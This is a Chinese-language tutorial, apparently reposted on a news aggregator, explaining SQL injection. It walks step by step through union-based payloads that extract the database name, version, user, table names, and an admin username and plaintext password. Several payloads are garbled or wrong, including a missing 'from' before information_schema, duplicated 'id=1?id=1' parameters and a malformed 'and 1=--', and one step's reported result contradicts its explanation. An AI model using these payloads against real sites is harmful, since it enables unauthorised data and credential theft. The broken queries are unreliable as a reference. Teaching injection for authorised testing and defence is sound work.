現在大多數系統都使用B/S架構,出于安全考慮需要過濾從頁面傳遞過來的字符。通常,用戶可以通過以下接口調用數據庫的内容:URL地址欄、登陸界面、留言闆、搜索框等。這往往會出現安全隐患,為了更好的保護數據洩露或服務器安全,為了方便的安全測試,便編寫此文。
1. SQL注入簡介SQL注入就是指Web應用程序對用戶輸入數據的合理性沒有進行判斷,前端傳入後端的參數是攻擊者可控制的,并且根據參數帶入數據庫查詢,攻擊者可以通過構造不同的SQL語句來對數據庫進行任意查詢。下面以PHP語句為例作為展示:
由于這裡的參數ID可控,且帶入數據庫查詢,所以非法用戶可以任意拼接SQL語句進行攻擊。
當然,SQL注入主要原因是程序員在開發用戶和數據庫的系統時沒有對用戶輸入的字符串進行過濾、轉義、限制或處理不嚴謹,導緻攻擊者可以通過精心構造的字符串去非法獲取到數據庫中的數據。
1.1 SQL注入的原理SQL注入漏洞的産生需要滿足以下兩個條件:
(1)參數用戶可控:前端傳給後端的參數内容是用戶可以控制的。
(2)參數帶入數據庫查詢:傳入的參數拼接到sql語句,且帶入參數庫查詢。``
數字型注入
當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。
測試步驟:
(1) 加單引号,URL:xxx.xxx.xxx/xxx.php?id=3’;
對應的SQL:select * from table where id=3’ 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會抛出異常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
對應的sql:select * from table where id=3’ and 1=1 語句執行正常,與原始頁面沒有差異;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回數據與原始網頁存在差異;
如果滿足以上三點,則可以判斷該URL存在數字型注入。
字符型注入
當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區别在于,數字型不需要單引号來閉合,而字符串一般需要通過單引号來閉合的。
例如數字型語句:select * from table where id =3;
則字符型如下:select * from table where name=’admin’;
因此,在構造payload時通過閉合單引号可以成功執行語句。
測試步驟:
(1) 加單引号:select * from table where name=’admin’’;
由于加單引号後變成三個單引号,則無法執行,程序會報錯;
(2) 加 ’and 1=1 此時sql 語句為:select * from table where name=’admin’ and 1=1’ ,也無法進行注入,還需要通過注釋符号将其繞過;
因此,構造語句為:select * from table where name =’admin’ and 1=--’ 可成功執行返回結果正确;
(3) 加and 1=2— 此時sql語句為:select * from table where name=’admin’ and 1=2--’則會報錯;
如果滿足以上三點,可以判斷該url為字符型注入。
2. SQL注入之手工演示手工SQL注入過程中,數據庫執行的語句,是頁面提交至服務器應用程序,應用程序獲取id的值,然後把值拼接到查詢語句中,在到數據庫中查詢,通過程序解析後,把結果返回在頁面上。
2.1 尋找注入點
頁面提交:xxx.xxx.xxx.xxx?id=1。
數據庫執行語句:select * from news where id=1。
頁面返回描述:返回内容正常。
分析解說:正常浏覽頁面,找到有參數的地方,如id。
2.2 判斷注入點
頁面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=1。
數據庫執行語句:select * from news where id=1 and 1=1。
頁面返回描述:返回内容正常。
分析解說:測試SQL語句。
2.3 測試是否存在注入
頁面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=2。
數據庫執行語句:select * from news where id=1 and 1=2。
頁面返回描述:返回内容出錯,隻顯示底部内容,且無法滑動。
分析解說:因為sql語句中,1=2不成立,因此确定存在注入。
2.4 判斷字段
頁面提交:xxx.xxx.xxx.xxx?id=1?id=1 order by 3。
數據庫執行語句:select * from news where id=1 order by 3。
頁面返回描述:可以通過 order by N 來判斷字段,我這裡是用到order by 3時,頁面返回了錯誤。
分析解說:通過SQL語句中order by N 來判斷有幾個字段,返回内容異常,可以确定至少有2個字段。
2.5 判斷顯示的字段
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 1,2。
數據庫執行語句:select * from news where id=1 and 1=2 union select 1,2,。
頁面返回描述:在頁面底部位置顯示為2。
分析解說:通過SQL語句中and 1=2 union select 1,2,3……,n聯合查詢,判斷顯示的是哪些字段,就是原本顯示内容時候的查詢字段。
2.6 判斷數據庫
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,database()。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,database()。
頁面返回描述:在底部位置顯示為maoshe。
分析解說:SQL語句中database()是查詢當前數據庫的名稱(語法:select database();),一個服務器上可能有多個數據庫,這裡内容顯示在第2位置上,maoshe為數據庫。
2.7 判斷數據庫的版本
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,version()。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,version()。
頁面返回描述:在底部位置顯示為maoshe。
分析解說:SQL語句中version()是查詢當前MySQL的版本(語法:select version();),這裡内容顯示在第2位置上,說明版本為MYSQL 5.5.53。
2.8 查詢當前數據庫的用戶
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,user()。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,user()。
頁面返回描述:在底部位置顯示為maoshe@localhost。
分析解說:SQL語句中user()是查詢當前MySQL的用戶(語法:select user();),這裡内容顯示在第2位置上,說明版本為MYSQL的用戶為 maoshe@localhost。
2.9 查詢數據表
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。
頁面返回描述:在底部位置顯示為admin。
分析解說:這裡内容顯示在第2位置上,說明數據庫maoshe裡面有個表的名稱是admin。
2.10 根據數據表查詢用戶名
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,username from admin。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,username from admin。
頁面返回描述:在底部位置顯示為admin。
分析解說:在知道數據表的情況下,可以根據對應的表查詢到對應的字段,因此此次查詢到的用戶名稱為admin 。
2.11 查詢用戶名的密碼
頁面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,password from admin。
數據庫執行語句:select * from news where id=1 and 1=2 union select 2,password from admin。
頁面返回描述:在底部位置顯示的為密碼hellohack。
分析解說:在知道數據表的情況下,可以根據對應的表查詢到對應的字段,因此此次查詢到的用戶密碼為hellohack。
3. 總結想要真正熟練SQL注入,那麼SQL語言就是基礎,隻有明白各種查詢語句,我們才能更好的去利用SQL注入漏洞,判别其數據庫類型和各種數據的獲取。SQL注入遠不止于此,它擁有各種層出不窮的注入類型和各種繞過防護注入技術。因此,本文章目的是基于安全測試,能夠讓大家更清楚的了解SQL注入原理,檢測系統的安全性。最後,值得注意的是未經授權嘗試注入他人系統是違法行為,我們所擁有的技術是用來防禦和測試的。
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!